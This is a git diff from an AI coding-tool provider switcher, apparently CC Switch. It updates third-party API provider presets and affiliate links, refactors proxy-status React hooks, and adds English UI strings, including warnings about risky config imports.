// 腾讯 TokenHub 官方 Codex 文档(cloud.tencent.com/document/product/1823/133532):
// hy3 原生 Responseswire_api=responses;官方硬性要求的
// disable_response_storage=true 已由 generateThirdPartyConfig 输出)。
// ⚠️ 须用 TokenHub API Key(创建时范围需勾选 Hy3);Coding Plan / Token Plan
// 订阅 Key 只能走各自 chat 端点,对本预设的 /v1 不通。
// hy3 在带 tools 的请求里会把 reasoning_effort=low 服务端自动升为 high
// Codex 恒带 tools),默认 high 即真实行为。
apiFormat: "openai_responses",
// 无官方 catalog:合成 MiMo 式(shell_command 编辑、不发 freeform apply_patch
modelCatalog: modelCatalog([
{
model: "hy3",
displayName: "Hy3",
contextWindow: 256000,
// hy3 不在官方多模态理解模型名单(1823/130988),纯文本
inputModalities: ["text"],
},
{
model: "hy3-preview",
displayName: "Hy3 Preview",
contextWindow: 256000,
inputModalities: ["text"],
},
]),
category: "cn_official",
icon: "hunyuan",
iconColor: "#0055E9",
},
{
name: "StepFun",
websiteUrl: "https://platform.stepfun.com/step-plan",
+33 -10
View File
@@ -68,7 +68,12 @@ export const geminiProviderPresets: GeminiProviderPreset[] = [
category: "third_party",
isPartner: true,
partnerPromotionKey: "packycode",
endpointCandidates: ["https://www.packyapi.ai"],
endpointCandidates: [
"https://www.packyapi.ai",
"https://cf.api.fan",
"https://slb-v1.api.fan",
"https://www.packyapi.com",
],
icon: "packycode",
},
{
@@ -150,21 +155,21 @@ export const geminiProviderPresets: GeminiProviderPreset[] = [
},
{
name: "AIGoCode",
websiteUrl: "https://aigocode.com",
apiKeyUrl: "https://aigocode.com/invite/CC-SWITCH",
websiteUrl: "https://aigocode.app",
apiKeyUrl: "https://aigocode.app/invite/CC-SWITCH",
settingsConfig: {
env: {
GOOGLE_GEMINI_BASE_URL: "https://api.aigocode.com",
GOOGLE_GEMINI_BASE_URL: "https://api.aigocode.app",
GEMINI_MODEL: "gemini-3.6-flash",
},
},
baseURL: "https://api.aigocode.com",
baseURL: "https://api.aigocode.app",
model: "gemini-3.6-flash",
description: "AIGoCode",
category: "third_party",
isPartner: true,
partnerPromotionKey: "aigocode",
endpointCandidates: ["https://api.aigocode.com"],
endpointCandidates: ["https://api.aigocode.app"],
icon: "aigocode",
iconColor: "#5B7FFF",
},
@@ -234,17 +239,35 @@ export const geminiProviderPresets: GeminiProviderPreset[] = [
settingsConfig: {
env: {
GOOGLE_GEMINI_BASE_URL: "https://code0.ai",
GEMINI_MODEL: "gemini-3.1-pro-preview",
GEMINI_MODEL: "gemini-3.6-flash",
},
},
baseURL: "https://code0.ai",
model: "gemini-3.1-pro-preview",
model: "gemini-3.6-flash",
description: "Code0",
category: "aggregator",
isPartner: true,
partnerPromotionKey: "code0",
icon: "code0",
},
{
name: "A6API",
websiteUrl: "https://www.a6api.com",
apiKeyUrl: "https://a6api.com/register?aff=AqNr",
settingsConfig: {
env: {
GOOGLE_GEMINI_BASE_URL: "https://api.a6api.com",
GEMINI_MODEL: "gemini-3.6-flash",
},
},
baseURL: "https://api.a6api.com",
model: "gemini-3.6-flash",
description: "A6API",
category: "aggregator",
isPartner: true,
partnerPromotionKey: "a6api",
icon: "a6api",
},
{
name: "SSSAiCode",
websiteUrl: "https://sssaicodeapi.com",
@@ -342,11 +365,11 @@ export const geminiProviderPresets: GeminiProviderPreset[] = [
settingsConfig: {
env: {
GOOGLE_GEMINI_BASE_URL: "https://api.qnaigc.com/bypass/vertex",
GEMINI_MODEL: "gemini-3.1-pro-preview",
GEMINI_MODEL: "gemini-3.6-flash",
},
},
baseURL: "https://api.qnaigc.com/bypass/vertex",
model: "gemini-3.1-pro-preview",
model: "gemini-3.6-flash",
description: "Qiniu",
category: "aggregator",
isPartner: true,
+22 -5
View File
@@ -84,7 +84,12 @@ export const grokBuildProviderPresets: GrokBuildProviderPreset[] = [
apiKeyUrl: "https://www.packyapi.ai/register?aff=cc-switch",
auth: grokAuth(),
config: grokPresetConfig("PackyCode", "https://www.packyapi.ai/v1"),
endpointCandidates: ["https://www.packyapi.ai/v1"],
endpointCandidates: [
"https://www.packyapi.ai/v1",
"https://cf.api.fan/v1",
"https://slb-v1.api.fan/v1",
"https://www.packyapi.com/v1",
],
category: "third_party",
isPartner: true,
partnerPromotionKey: "packycode",
@@ -198,11 +203,11 @@ export const grokBuildProviderPresets: GrokBuildProviderPreset[] = [
},
{
name: "AIGoCode",
websiteUrl: "https://aigocode.com",
apiKeyUrl: "https://aigocode.com/invite/CC-SWITCH",
websiteUrl: "https://aigocode.app",
apiKeyUrl: "https://aigocode.app/invite/CC-SWITCH",
auth: grokAuth(),
config: grokPresetConfig("AIGoCode", "https://api.aigocode.com"),
endpointCandidates: ["https://api.aigocode.com"],
config: grokPresetConfig("AIGoCode", "https://api.aigocode.app"),
endpointCandidates: ["https://api.aigocode.app"],
category: "third_party",
isPartner: true,
partnerPromotionKey: "aigocode",
@@ -285,6 +290,18 @@ export const grokBuildProviderPresets: GrokBuildProviderPreset[] = [
partnerPromotionKey: "nekocode",
icon: "nekocode",
},
{
name: "A6API",
websiteUrl: "https://www.a6api.com",
apiKeyUrl: "https://a6api.com/register?aff=AqNr",
auth: grokAuth(),
config: grokPresetConfig("A6API", "https://api.a6api.com/v1"),
endpointCandidates: ["https://api.a6api.com/v1"],
category: "aggregator",
isPartner: true,
partnerPromotionKey: "a6api",
icon: "a6api",
},
{
name: "Compshare",
nameKey: "providerForm.presets.ucloud",
+22 -3
View File
@@ -356,11 +356,11 @@ export const hermesProviderPresets: HermesProviderPreset[] = [
},
{
name: "AIGoCode",
websiteUrl: "https://aigocode.com",
apiKeyUrl: "https://aigocode.com/invite/CC-SWITCH",
websiteUrl: "https://aigocode.app",
apiKeyUrl: "https://aigocode.app/invite/CC-SWITCH",
settingsConfig: {
name: "aigocode",
base_url: "https://api.aigocode.com",
base_url: "https://api.aigocode.app",
api_key: "",
api_mode: "anthropic_messages",
models: [
@@ -691,6 +691,25 @@ export const hermesProviderPresets: HermesProviderPreset[] = [
model: { default: "gpt-5.6-sol", provider: "nekocode" },
},
},
{
name: "A6API",
websiteUrl: "https://www.a6api.com",
apiKeyUrl: "https://a6api.com/register?aff=AqNr",
settingsConfig: {
name: "a6api",
base_url: "https://api.a6api.com/v1",
api_key: "",
api_mode: "chat_completions",
models: [{ id: "gpt-5.6-sol", name: "GPT-5.6 Sol" }],
},
category: "aggregator",
isPartner: true,
partnerPromotionKey: "a6api",
icon: "a6api",
suggestedDefaults: {
model: { default: "gpt-5.6-sol", provider: "a6api" },
},
},
{
name: "AtlasCloud",
websiteUrl: "https://www.atlascloud.ai/console/coding-plan",
-77
View File
@@ -1,77 +0,0 @@
/**
*
*/
const iconMappings = {
// AI 服务商
claude: { icon: "claude", iconColor: "#D4915D" },
anthropic: { icon: "anthropic", iconColor: "#D4915D" },
deepseek: { icon: "deepseek", iconColor: "#1E88E5" },
zhipu: { icon: "zhipu", iconColor: "#0F62FE" },
glm: { icon: "zhipu", iconColor: "#0F62FE" },
qwen: { icon: "qwen", iconColor: "#FF6A00" },
bailian: { icon: "bailian", iconColor: "#624AFF" },
alibaba: { icon: "alibaba", iconColor: "#FF6A00" },
aliyun: { icon: "alibaba", iconColor: "#FF6A00" },
kimi: { icon: "kimi", iconColor: "#6366F1" },
moonshot: { icon: "moonshot", iconColor: "#6366F1" },
stepfun: { icon: "stepfun", iconColor: "#005AFF" },
step: { icon: "stepfun", iconColor: "#005AFF" },
baidu: { icon: "baidu", iconColor: "#2932E1" },
tencent: { icon: "tencent", iconColor: "#00A4FF" },
hunyuan: { icon: "hunyuan", iconColor: "#00A4FF" },
minimax: { icon: "minimax", iconColor: "#FF6B6B" },
google: { icon: "google", iconColor: "#4285F4" },
meta: { icon: "meta", iconColor: "#0081FB" },
mistral: { icon: "mistral", iconColor: "#FF7000" },
cohere: { icon: "cohere", iconColor: "#39594D" },
perplexity: { icon: "perplexity", iconColor: "#20808D" },
huggingface: { icon: "huggingface", iconColor: "#FFD21E" },
novita: { icon: "novita", iconColor: "#000000" },
// 云平台
aws: { icon: "aws", iconColor: "#FF9900" },
azure: { icon: "azure", iconColor: "#0078D4" },
huawei: { icon: "huawei", iconColor: "#FF0000" },
cloudflare: { icon: "cloudflare", iconColor: "#F38020" },
};
/**
*
*/
export function inferIconForPreset(presetName: string): {
icon?: string;
iconColor?: string;
} {
const nameLower = presetName.toLowerCase();
// 精确匹配或模糊匹配
for (const [key, config] of Object.entries(iconMappings)) {
if (nameLower.includes(key)) {
return config;
}
}
return {};
}
/**
*
*/
export function addIconsToPresets<
T extends { name: string; icon?: string; iconColor?: string },
>(presets: T[]): T[] {
return presets.map((preset) => {
// 如果已经配置了图标,则保留原配置
if (preset.icon) {
return preset;
}
// 否则根据名称推断
const inferred = inferIconForPreset(preset.name);
return {
...preset,
...inferred,
};
});
}
+39 -3
View File
@@ -514,10 +514,10 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [
},
{
name: "AIGoCode",
websiteUrl: "https://aigocode.com",
apiKeyUrl: "https://aigocode.com/invite/CC-SWITCH",
websiteUrl: "https://aigocode.app",
apiKeyUrl: "https://aigocode.app/invite/CC-SWITCH",
settingsConfig: {
baseUrl: "https://api.aigocode.com",
baseUrl: "https://api.aigocode.app",
apiKey: "",
api: "anthropic-messages",
models: [
@@ -1030,6 +1030,42 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [
},
},
},
{
name: "A6API",
websiteUrl: "https://www.a6api.com",
apiKeyUrl: "https://a6api.com/register?aff=AqNr",
settingsConfig: {
baseUrl: "https://api.a6api.com/v1",
apiKey: "",
api: "openai-completions",
models: [
{
id: "gpt-5.6-sol",
name: "GPT-5.6 Sol",
contextWindow: 400000,
},
],
},
category: "aggregator",
isPartner: true,
partnerPromotionKey: "a6api",
icon: "a6api",
templateValues: {
apiKey: {
label: "API Key",
placeholder: "",
editorValue: "",
},
},
suggestedDefaults: {
model: {
primary: "a6api/gpt-5.6-sol",
},
modelCatalog: {
"a6api/gpt-5.6-sol": { alias: "GPT-5.6 Sol" },
},
},
},
{
name: "AtlasCloud",
websiteUrl: "https://www.atlascloud.ai/console/coding-plan",
+31 -3
View File
@@ -591,13 +591,13 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [
},
{
name: "AIGoCode",
websiteUrl: "https://aigocode.com",
apiKeyUrl: "https://aigocode.com/invite/CC-SWITCH",
websiteUrl: "https://aigocode.app",
apiKeyUrl: "https://aigocode.app/invite/CC-SWITCH",
settingsConfig: {
npm: "@ai-sdk/anthropic",
name: "AIGoCode",
options: {
baseURL: "https://api.aigocode.com",
baseURL: "https://api.aigocode.app",
apiKey: "",
setCacheKey: true,
},
@@ -921,6 +921,34 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [
},
},
},
{
name: "A6API",
websiteUrl: "https://www.a6api.com",
apiKeyUrl: "https://a6api.com/register?aff=AqNr",
settingsConfig: {
npm: "@ai-sdk/openai-compatible",
name: "A6API",
options: {
baseURL: "https://api.a6api.com/v1",
apiKey: "",
setCacheKey: true,
},
models: {
"gpt-5.6-sol": { name: "GPT-5.6 Sol" },
},
},
category: "aggregator",
isPartner: true,
partnerPromotionKey: "a6api",
icon: "a6api",
templateValues: {
apiKey: {
label: "API Key",
placeholder: "",
editorValue: "",
},
},
},
{
name: "AtlasCloud",
websiteUrl: "https://www.atlascloud.ai/console/coding-plan",
-52
View File
@@ -1,52 +0,0 @@
import { useEffect, useRef, useState, type RefObject } from "react";
/**
* Detects whether the container's children overflow the available width
* and returns a `compact` flag for the AppSwitcher.
*
* Uses ResizeObserver on a flex-constrained container. The container
* must have `flex-1 min-w-0 overflow-hidden` so its width is determined
* by the parent layout, not its own content avoiding the oscillation
* problem when toggling compact mode.
*/
export function useAutoCompact(
containerRef: RefObject<HTMLDivElement | null>,
): boolean {
const [compact, setCompact] = useState(false);
const normalWidthRef = useRef(0);
const lockUntilRef = useRef(0);
useEffect(() => {
const el = containerRef.current;
if (!el) return;
const ro = new ResizeObserver(() => {
// During expand animation, ignore resize events to prevent flicker
if (Date.now() < lockUntilRef.current) return;
if (!compact) {
// Overflow detected → switch to compact
if (el.scrollWidth > el.clientWidth + 1) {
// Cache only at the overflow edge: when content fits,
// scrollWidth === clientWidth (DOM spec), so caching unconditionally
// would pollute normalWidthRef with the container width (e.g. after
// maximizing), making the expand threshold unreachable.
normalWidthRef.current = el.scrollWidth;
setCompact(true);
}
} else if (normalWidthRef.current > 0) {
// In compact mode: only recover to normal if
// available space >= what normal mode needed
if (el.clientWidth >= normalWidthRef.current) {
// Lock out resize events during the expand animation (200ms + 50ms margin)
lockUntilRef.current = Date.now() + 250;
setCompact(false);
}
}
});
ro.observe(el);
return () => ro.disconnect();
}, [compact]);
return compact;
}
-48
View File
@@ -1,48 +0,0 @@
/**
* Hook
*/
import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
import { invoke } from "@tauri-apps/api/core";
import { toast } from "sonner";
import { useTranslation } from "react-i18next";
import type { ProxyConfig } from "@/types/proxy";
/**
*
*/
export function useProxyConfig() {
const queryClient = useQueryClient();
const { t } = useTranslation();
// 查询配置
const { data: config, isLoading } = useQuery({
queryKey: ["proxyConfig"],
queryFn: () => invoke<ProxyConfig>("get_proxy_config"),
});
// 更新配置
const updateMutation = useMutation({
mutationFn: (newConfig: ProxyConfig) =>
invoke("update_proxy_config", { config: newConfig }),
onSuccess: () => {
toast.success(t("proxy.settings.toast.saved"), { closeButton: true });
queryClient.invalidateQueries({ queryKey: ["proxyConfig"] });
queryClient.invalidateQueries({ queryKey: ["proxyStatus"] });
},
onError: (error: Error) => {
toast.error(
t("proxy.settings.toast.saveFailed", {
error: error.message,
}),
);
},
});
return {
config,
isLoading,
updateConfig: updateMutation.mutateAsync,
isUpdating: updateMutation.isPending,
};
}
+19 -88
View File
@@ -2,15 +2,15 @@
* Hook
*/
import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
import { invoke } from "@tauri-apps/api/core";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { toast } from "sonner";
import { useTranslation } from "react-i18next";
import type {
ProxyStatus,
ProxyServerInfo,
ProxyTakeoverStatus,
} from "@/types/proxy";
import { proxyApi } from "@/lib/api/proxy";
import {
proxyKeys,
useProxyStatusQuery,
useProxyTakeoverStatus,
} from "@/lib/query/proxy";
import { extractErrorMessage } from "@/utils/errorUtils";
/**
@@ -21,25 +21,14 @@ export function useProxyStatus() {
const { t } = useTranslation();
// 查询状态(自动轮询)
const { data: status, isLoading } = useQuery({
queryKey: ["proxyStatus"],
queryFn: () => invoke<ProxyStatus>("get_proxy_status"),
// 仅在服务运行时轮询
refetchInterval: (query) => (query.state.data?.running ? 2000 : false),
// 保持之前的数据,避免闪烁
placeholderData: (previousData) => previousData,
});
const { data: status } = useProxyStatusQuery();
// 查询各应用接管状态
const { data: takeoverStatus } = useQuery({
queryKey: ["proxyTakeoverStatus"],
queryFn: () => invoke<ProxyTakeoverStatus>("get_proxy_takeover_status"),
placeholderData: (previousData) => previousData,
});
const { data: takeoverStatus } = useProxyTakeoverStatus(false);
// 启动服务器(总开关:仅启动服务,不接管)
const startProxyServerMutation = useMutation({
mutationFn: () => invoke<ProxyServerInfo>("start_proxy_server"),
mutationFn: () => proxyApi.startProxyServer(),
onSuccess: (info) => {
toast.success(
t("proxy.server.started", {
@@ -49,7 +38,7 @@ export function useProxyStatus() {
}),
{ closeButton: true },
);
queryClient.invalidateQueries({ queryKey: ["proxyStatus"] });
queryClient.invalidateQueries({ queryKey: proxyKeys.status });
},
onError: (error: Error) => {
const detail =
@@ -66,7 +55,7 @@ export function useProxyStatus() {
// 停止服务器(仅停止服务,不改写/恢复其它应用接管状态)
const stopProxyServerMutation = useMutation({
mutationFn: () => invoke("stop_proxy_server"),
mutationFn: () => proxyApi.stopProxyServer(),
onSuccess: () => {
toast.success(
t("proxy.server.stopped", {
@@ -74,7 +63,7 @@ export function useProxyStatus() {
}),
{ closeButton: true },
);
queryClient.invalidateQueries({ queryKey: ["proxyStatus"] });
queryClient.invalidateQueries({ queryKey: proxyKeys.status });
},
onError: (error: Error) => {
const detail =
@@ -91,7 +80,7 @@ export function useProxyStatus() {
// 停止服务器(总开关关闭:强制恢复所有已接管的 Live 配置)
const stopWithRestoreMutation = useMutation({
mutationFn: () => invoke("stop_proxy_with_restore"),
mutationFn: () => proxyApi.stopProxyWithRestore(),
onSuccess: () => {
toast.success(
t("proxy.stoppedWithRestore", {
@@ -99,8 +88,8 @@ export function useProxyStatus() {
}),
{ closeButton: true },
);
queryClient.invalidateQueries({ queryKey: ["proxyStatus"] });
queryClient.invalidateQueries({ queryKey: ["proxyTakeoverStatus"] });
queryClient.invalidateQueries({ queryKey: proxyKeys.status });
queryClient.invalidateQueries({ queryKey: proxyKeys.takeoverStatus });
// 彻底删除所有供应商健康状态缓存(后端已清空数据库记录)
queryClient.removeQueries({ queryKey: ["providerHealth"] });
// 彻底删除所有熔断器统计缓存(代理停止后熔断器状态已重置)
@@ -123,7 +112,7 @@ export function useProxyStatus() {
// 按应用开启/关闭接管
const setTakeoverForAppMutation = useMutation({
mutationFn: ({ appType, enabled }: { appType: string; enabled: boolean }) =>
invoke("set_proxy_takeover_for_app", { appType, enabled }),
proxyApi.setProxyTakeoverForApp(appType, enabled),
onSuccess: (_data, variables) => {
const appLabel =
variables.appType === "claude"
@@ -149,8 +138,8 @@ export function useProxyStatus() {
{ closeButton: true },
);
queryClient.invalidateQueries({ queryKey: ["proxyStatus"] });
queryClient.invalidateQueries({ queryKey: ["proxyTakeoverStatus"] });
queryClient.invalidateQueries({ queryKey: proxyKeys.status });
queryClient.invalidateQueries({ queryKey: proxyKeys.takeoverStatus });
},
onError: (error: Error) => {
const detail =
@@ -165,60 +154,10 @@ export function useProxyStatus() {
},
});
// 代理模式切换供应商(热切换)
const switchProxyProviderMutation = useMutation({
mutationFn: ({
appType,
providerId,
}: {
appType: string;
providerId: string;
}) => invoke("switch_proxy_provider", { appType, providerId }),
onSuccess: () => {
queryClient.invalidateQueries({ queryKey: ["proxyStatus"] });
},
onError: (error: Error) => {
const detail =
extractErrorMessage(error) ||
t("common.unknown", { defaultValue: "未知错误" });
toast.error(
t("proxy.switchFailed", {
error: detail,
defaultValue: `切换失败: ${detail}`,
}),
);
},
});
// 检查是否运行中
const checkRunning = async () => {
try {
return await invoke<boolean>("is_proxy_running");
} catch {
return false;
}
};
// 检查接管状态
const checkTakeoverActive = async () => {
try {
return await invoke<boolean>("is_live_takeover_active");
} catch {
return false;
}
};
return {
status,
isLoading,
isRunning: status?.running || false,
takeoverStatus,
isTakeoverActive:
takeoverStatus?.claude ||
takeoverStatus?.codex ||
takeoverStatus?.gemini ||
takeoverStatus?.grokbuild ||
false,
// 启动/停止(总开关)
startProxyServer: startProxyServerMutation.mutateAsync,
@@ -228,17 +167,9 @@ export function useProxyStatus() {
// 按应用接管开关
setTakeoverForApp: setTakeoverForAppMutation.mutateAsync,
// 代理模式下切换供应商
switchProxyProvider: switchProxyProviderMutation.mutateAsync,
// 状态检查
checkRunning,
checkTakeoverActive,
// 加载状态
isStarting: startProxyServerMutation.isPending,
isStoppingServer: stopProxyServerMutation.isPending,
isStopping: stopWithRestoreMutation.isPending,
isPending:
startProxyServerMutation.isPending ||
stopProxyServerMutation.isPending ||
+68 -57
View File
@@ -23,7 +23,6 @@
"unknown": "Unknown",
"enterValidValue": "Please enter a valid value",
"clear": "Clear",
"toggleTheme": "Toggle theme",
"format": "Format",
"formatSuccess": "Formatted successfully",
"formatError": "Format failed: {{error}}",
@@ -173,7 +172,8 @@
"oauthHint": "Google official uses OAuth personal authentication, no need to fill in API Key. The browser will automatically open for login on first use.",
"apiKeyPlaceholder": "Enter Gemini API Key"
}
}
},
"duplicateLiveIdsLoadFailed": "Failed to read provider identifiers from config, please fix the config and try again"
},
"claudeCode": {
"needsRouting": "Needs Routing",
@@ -222,7 +222,8 @@
"tooltip": {
"active": "Claude Desktop local routing is running - {{address}}:{{port}}",
"inactive": "Turn on Claude Desktop local routing for providers that need model mapping or format conversion. Configured address: {{address}}:{{port}}"
}
},
"stopBlockedByTakeover": "Another app is using proxy takeover. Please disable that app's takeover in settings before stopping local routing."
}
},
"notifications": {
@@ -271,7 +272,8 @@
"backfillWarning": "Switched successfully, but failed to save changes back to the previous provider",
"windowControlFailed": "Window control failed: {{error}}",
"officialBlockedByProxy": "Cannot switch to official provider while local routing is active. Using routing with official APIs may cause account bans.",
"proxyOfficialWarning": "Current provider {{name}} is official. Consider switching to a third-party provider before using local routing."
"proxyOfficialWarning": "Current provider {{name}} is official. Consider switching to a third-party provider before using local routing.",
"proxyReasonClaudeDesktop": "Using Claude Desktop local routing mode"
},
"confirm": {
"deleteProvider": "Delete Provider",
@@ -1020,6 +1022,7 @@
"providerKeyStatusLoading": "Provider identifier status is still loading. Please try again shortly.",
"getApiKey": "Get API Key",
"partnerPromotion": {
"a6api": "A6API is a token aggregation platform with a built-in real-time price leaderboard that automatically picks the lowest price on the market. Smooth and stable, simple to operate, and no more tedious price comparisons. Register now to claim free trial credits!",
"sudocode": "With one SudoCode key, Claude Code and Claude Desktop use Claude Opus 5, while Codex uses GPT-5.6. Sign up, join QQ group 726213516, and contact the group owner to claim CNY ¥10 in trial credit.",
"code0": "code0.ai is an AI coding service platform for developers, supporting Claude Code, Codex, and Gemini. Exclusive for CC Switch users: contact support via the official website to claim free trial credits!",
"nekocode": "NekoCode gives developers a stable, efficient, and reliable API relay for Claude, Codex, and other AI models, with transparent pay-as-you-go pricing. Exclusive 10% off for CC Switch users: register via the link above and enter promo code cc-switch at recharge to save 10%!",
@@ -1168,7 +1171,8 @@
"fetchModelsAuthFailed": "API Key is invalid or lacks permission",
"fetchModelsNotSupported": "This provider does not support fetching model list",
"fetchModelsEndpointNotFound": "No reachable models endpoint found. Please check the Base URL or confirm whether the provider exposes this API.",
"fetchModelsTimeout": "Request timed out, please check network connection"
"fetchModelsTimeout": "Request timed out, please check network connection",
"requiredFields": "Please fill in provider name, API endpoint, API Key and model"
},
"copilot": {
"authSection": "GitHub Copilot Authentication",
@@ -1365,7 +1369,8 @@
"reasoningEffortHint": "Enable when the upstream supports thinking-depth control such as low/high/max. Enabling this also turns on thinking mode and converts Codex's reasoning.effort into the upstream Chat parameter.",
"reasoningGroupTitle": "Reasoning Capability",
"reasoningSectionHint": "Preset providers are configured automatically; custom providers are inferred from name/URL. Override manually only when auto-detection is wrong.",
"advancedSectionHint": "Includes upstream format, model mapping, reasoning overrides and custom User-Agent. Providers using the Chat Completions protocol require routing takeover to be enabled."
"advancedSectionHint": "Includes upstream format, model mapping, reasoning overrides and custom User-Agent. Providers using the Chat Completions protocol require routing takeover to be enabled.",
"noCommonConfigToApply": "The common config snippet is empty or contains nothing to write"
},
"geminiConfig": {
"envFile": "Environment Variables (.env)",
@@ -1464,6 +1469,7 @@
"totalRequests": "Total Requests",
"totalCost": "Total Cost",
"cost": "Cost",
"unpriced": "Unpriced",
"perMillion": "(per million)",
"trends": "Usage Trends",
"rangeToday": "Last 24 hours (hourly)",
@@ -1506,24 +1512,6 @@
"grokbuild": "Grok Build"
},
"rawInputLabel": "Raw",
"dataSources": "Data Sources",
"dataSource": {
"proxy": "Routing",
"session_log": "Session Log",
"codex_db": "Codex DB",
"codex_session": "Codex Session",
"gemini_session": "Gemini Session",
"opencode_session": "OpenCode Session",
"grok_session": "Grok Build Session"
},
"sessionSync": {
"trigger": "Sync session logs",
"import": "Import Sessions",
"resync": "Sync",
"imported": "Imported {{count}} records from session logs",
"upToDate": "Session logs are up to date",
"failed": "Session sync failed"
},
"rebuildCodex": {
"title": "Codex Usage Maintenance",
"description": "Rebuild Codex session usage from local rollout logs",
@@ -1633,6 +1621,40 @@
"modelsDevNoResults": "No matching models",
"modelsDevTruncated": "Showing first {{shown}} of {{total}} results — refine your search",
"modelsDevDefaultHint": "Showing the {{shown}} most recently released models (of {{total}}) — type to search all",
"modelsDevAutoSync": {
"title": "Automatic models.dev pricing sync",
"description": "When enabled, periodically fetch selected prices when CC Switch launches and keep them in your local pricing file.",
"enabled": "Enabled",
"disabled": "Disabled",
"enableConfirmTitle": "Enable automatic pricing sync?",
"enableConfirmMessage": "After enabling, CC Switch will periodically update prices for the selected models from models.dev when it launches (at most once every 6 hours). Built-in and manually configured prices with the same model ID will be overwritten.",
"enableConfirmAction": "Enable automatic sync",
"configure": "Choose models",
"configureTitle": "Choose models for automatic pricing sync",
"configureDescription": "Search and filter models to update automatically. Your choices are stored locally.",
"commonModels": "Automatically include common models",
"commonModelsDescription": "Selects {{count}} recent Claude, GPT, Gemini, Grok, DeepSeek, Qwen, MiMo, LongCat, Kimi, MiniMax, and GLM models.",
"selectFiltered": "Select filtered ({{count}})",
"clearFiltered": "Clear filtered",
"selectedCount": "{{count}} models selected",
"selectionHint": "Selections with the same normalized model ID are imported once.",
"commonBadge": "Common",
"selectionSaved": "Automatic pricing selection saved",
"syncSuccess": "Pricing sync complete: {{imported}} models checked, {{changed}} updated",
"syncFailed": "Pricing sync failed: {{error}}",
"configLoadFailed": "Failed to load local pricing configuration: {{error}}",
"neverSynced": "Never",
"lastSync": "Last sync",
"commonStatus": "Common models",
"lastError": "Last automatic sync failed: {{error}}",
"localFile": "Local pricing file",
"openFolder": "Open folder",
"openFolderFailed": "Failed to open the local pricing folder: {{error}}",
"reloadLocalFile": "Reload file",
"localFileReloaded": "Local pricing file reloaded",
"localFileReloadFailed": "Failed to reload local pricing file: {{error}}",
"syncNow": "Sync now"
},
"cacheReadCostPerMillion": "Cache Read Cost (per million tokens, USD)",
"cacheCreationCostPerMillion": "Cache Write Cost (per million tokens, USD)"
},
@@ -2283,6 +2305,9 @@
"skillDirNotFound": "Skill directory not found: {{path}}",
"directoryConflict": "Skill directory '{{directory}}' is already occupied by {{existing_repo}}, cannot install from {{new_repo}}",
"emptyArchive": "Downloaded archive is empty",
"invalidRepoRef": "Invalid repository reference: {{owner}}/{{name}}",
"archiveTooLarge": "Archive exceeds the {{limit_mb}} MB extraction limit; aborted",
"archiveTooManyEntries": "Archive has too many entries ({{count}}); the limit is {{limit}}",
"downloadFailed": "Download failed: HTTP {{status}}",
"allBranchesFailed": "All branches failed, tried: {{branches}}",
"httpError": "HTTP error {{status}}",
@@ -2446,7 +2471,11 @@
"title": "Batch Import MCP Servers",
"targetApps": "Target Apps",
"serverCount": "MCP Servers ({{count}})",
"enabledWarning": "After import, configurations will be written to all specified apps immediately"
"enabledWarning": "After import, configurations will be written to all specified apps immediately",
"command": "Command",
"args": "Args",
"env": "Env",
"url": "URL"
},
"prompt": {
"title": "Import System Prompt",
@@ -2468,10 +2497,17 @@
"usageScript": "Usage Query",
"usageScriptEnabled": "Enabled",
"usageScriptDisabled": "Disabled",
"usageScriptCode": "Script code",
"usageScriptWarning": "This is JavaScript that runs when usage is queried, once enabled. Import it only if you trust the source.",
"usageApiKey": "Usage API Key",
"usageBaseUrl": "Usage Query URL",
"usageAutoInterval": "Auto Query",
"usageAutoIntervalValue": "Every {{minutes}} minutes"
"usageAutoIntervalValue": "Every {{minutes}} minutes",
"risk": {
"envHijack": "This config sets environment variables that change how processes load code (e.g. injecting libraries or replacing CA certificates). Import only from a source you trust.",
"privateEndpoint": "This address points at localhost or a private network. Do not import unless it is your own local service.",
"shellCommand": "This config runs a full command line through a shell — what actually executes is in the arguments. Review each line."
}
},
"iconPicker": {
"search": "Search Icons",
@@ -2490,8 +2526,7 @@
"selectIcon": "Select Icon",
"preview": "Preview",
"clickToChange": "Click to change icon",
"clickToSelect": "Click to select icon",
"color": "Icon Color"
"clickToSelect": "Click to select icon"
},
"migration": {
"success": "Configuration migrated successfully",
@@ -2520,7 +2555,8 @@
},
"tooltip": {
"enabled": "{{app}} failover enabled\nRequests follow queue priority (P1→P2→...)",
"disabled": "Enable {{app}} failover\nSwitches to queue P1 immediately, then falls back on failures"
"disabled": "Enable {{app}} failover\nSwitches to queue P1 immediately, then falls back on failures",
"takeoverRequired": "Take over {{app}} first, then enable failover"
}
},
"proxy": {
@@ -2698,7 +2734,9 @@
},
"server": {
"started": "Routing service started - {{address}}:{{port}}",
"startFailed": "Failed to start routing service: {{detail}}"
"startFailed": "Failed to start routing service: {{detail}}",
"stopped": "Routing service stopped",
"stopFailed": "Failed to stop routing service: {{detail}}"
},
"stoppedWithRestore": "Routing service stopped, all routing configs restored",
"stopWithRestoreFailed": "Stop failed: {{detail}}"
@@ -2733,33 +2771,6 @@
"streamingIdle": "Streaming Idle Timeout",
"nonStreaming": "Non-Streaming Timeout"
},
"circuitBreaker": {
"failureThreshold": "Failure Threshold",
"successThreshold": "Success Threshold",
"timeoutSeconds": "Timeout (seconds)",
"errorRateThreshold": "Error Rate Threshold (%)",
"minRequests": "Minimum Requests",
"validationFailed": "The following fields are out of valid range: {{fields}}",
"configSaved": "Circuit breaker configuration saved",
"saveFailed": "Save failed",
"loading": "Loading...",
"title": "Circuit Breaker Configuration",
"description": "Adjust circuit breaker parameters to control fault detection and recovery behavior",
"failureThresholdHint": "How many consecutive failures trigger the circuit breaker",
"timeoutSecondsHint": "How long to wait before attempting recovery (half-open state)",
"successThresholdHint": "How many successes in half-open state to close the circuit breaker",
"errorRateThresholdHint": "Open circuit breaker when error rate exceeds this value",
"minRequestsHint": "Minimum requests before calculating error rate",
"saveConfig": "Save Configuration",
"instructionsTitle": "Configuration Instructions",
"instructions": {
"failureThreshold": "Circuit breaker opens when consecutive failures reach this count",
"timeout": "After circuit breaker opens, wait this time before attempting half-open",
"successThreshold": "In half-open state, close circuit breaker when successes reach this count",
"errorRate": "Circuit breaker opens when error rate exceeds this value",
"minRequests": "Error rate is only calculated after request count reaches this value"
}
